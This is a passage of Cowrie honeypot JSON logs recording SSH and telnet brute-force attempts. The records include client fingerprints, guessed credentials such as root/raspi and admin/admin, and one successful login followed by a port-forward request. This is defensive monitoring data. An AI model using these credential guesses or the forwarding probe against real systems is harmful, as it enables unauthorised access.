penssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:14.807269Z","src_ip":"124.155.125.131","session":"920fd0e4cf6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:15.546261Z","src_ip":"124.155.125.131","session":"920fd0e4cf6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:16.727649Z","src_ip":"124.155.125.131","session":"920fd0e4cf6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":9212,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f0b3e2308c","protocol":"ssh","message":"New connection: 190.167.237.191:9212 (159.203.135.109:22) [session: d2f0b3e2308c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:34.764782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:34.770316Z","src_ip":"190.167.237.191","session":"d2f0b3e2308c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:34.830052Z","src_ip":"190.167.237.191","session":"d2f0b3e2308c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspi","message":"login attempt [root/raspi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:35.087546Z","src_ip":"190.167.237.191","session":"d2f0b3e2308c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:36.146076Z","src_ip":"190.167.237.191","session":"d2f0b3e2308c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":50668,"dst_ip":"159.203.135.109","dst_port":22,"session":"c415d8c26458","protocol":"ssh","message":"New connection: 165.154.6.49:50668 (159.203.135.109:22) [session: c415d8c26458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:02.522448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:02.529098Z","src_ip":"165.154.6.49","session":"c415d8c26458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:02.748934Z","src_ip":"165.154.6.49","session":"c415d8c26458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"time","message":"login attempt [root/time] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:03.629584Z","src_ip":"165.154.6.49","session":"c415d8c26458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:04.845336Z","src_ip":"165.154.6.49","session":"c415d8c26458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":41063,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6098f7bfcb","protocol":"ssh","message":"New connection: 88.147.30.59:41063 (159.203.135.109:22) [session: 6c6098f7bfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:40.172865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:40.177213Z","src_ip":"88.147.30.59","session":"6c6098f7bfcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:40.299270Z","src_ip":"88.147.30.59","session":"6c6098f7bfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:40.810545Z","src_ip":"88.147.30.59","session":"6c6098f7bfcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:39:41.933331Z","src_ip":"88.147.30.59","session":"6c6098f7bfcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02207589149475,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:40:02.144879Z","src_ip":"149.86.143.242","session":"040ce9f06ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00339007377625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:40:03.343332Z","src_ip":"149.86.143.242","session":"a9ef1425bc5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2085,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a08b22ce135","protocol":"telnet","message":"New connection: 149.86.143.242:2085 (10.17.0.5:23) [session: 8a08b22ce135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:40:05.506437Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2194,"dst_ip":"10.17.0.5","dst_port":23,"session":"da56b961eff6","protocol":"telnet","message":"New connection: 149.86.143.242:2194 (10.17.0.5:23) [session: da56b961eff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:40:13.783974Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":57834,"dst_ip":"159.203.135.109","dst_port":22,"session":"80735e210249","protocol":"ssh","message":"New connection: 221.161.235.168:57834 (159.203.135.109:22) [session: 80735e210249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:00.293738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:00.299420Z","src_ip":"221.161.235.168","session":"80735e210249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:00.497017Z","src_ip":"221.161.235.168","session":"80735e210249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dhis","message":"login attempt [root/dhis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:01.317301Z","src_ip":"221.161.235.168","session":"80735e210249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:02.518250Z","src_ip":"221.161.235.168","session":"80735e210249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":32986,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5faae3d4f8","protocol":"ssh","message":"New connection: 189.113.47.155:32986 (159.203.135.109:22) [session: df5faae3d4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:44.797366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:44.802026Z","src_ip":"189.113.47.155","session":"df5faae3d4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:44.918041Z","src_ip":"189.113.47.155","session":"df5faae3d4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:45.416739Z","src_ip":"189.113.47.155","session":"df5faae3d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:41:46.534869Z","src_ip":"189.113.47.155","session":"df5faae3d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00672173500061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:05.512969Z","src_ip":"149.86.143.242","session":"8a08b22ce135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2042,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9847bb3f962","protocol":"telnet","message":"New connection: 149.86.143.242:2042 (10.17.0.5:23) [session: f9847bb3f962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:05.867325Z"}
{"eventid":"cowrie.session.closed","duration":120.00930118560791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:13.793128Z","src_ip":"149.86.143.242","session":"da56b961eff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2071,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16d3ffc7161","protocol":"telnet","message":"New connection: 149.86.143.242:2071 (10.17.0.5:23) [session: c16d3ffc7161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:15.142795Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e19329d9a94","protocol":"ssh","message":"New connection: 165.154.6.49:43654 (159.203.135.109:22) [session: 0e19329d9a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:36.584425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:36.589276Z","src_ip":"165.154.6.49","session":"0e19329d9a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:36.803137Z","src_ip":"165.154.6.49","session":"0e19329d9a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololol","message":"login attempt [root/lololol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:37.689506Z","src_ip":"165.154.6.49","session":"0e19329d9a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:42:38.906691Z","src_ip":"165.154.6.49","session":"0e19329d9a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57962,"dst_ip":"10.17.0.5","dst_port":22,"session":"81dfceeda497","protocol":"ssh","message":"New connection: 87.251.64.176:57962 (10.17.0.5:22) [session: 81dfceeda497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.376435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.381794Z","src_ip":"87.251.64.176","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.481600Z","src_ip":"87.251.64.176","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.774147Z","src_ip":"87.251.64.176","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.874481Z","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:01.972541Z","src_ip":"87.251.64.176","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:02.073104Z","src_ip":"87.251.64.176","session":"81dfceeda497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":48354,"dst_ip":"10.17.0.5","dst_port":23,"session":"747904bac416","protocol":"telnet","message":"New connection: 142.93.69.27:48354 (10.17.0.5:23) [session: 747904bac416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:43:02.351881Z"}
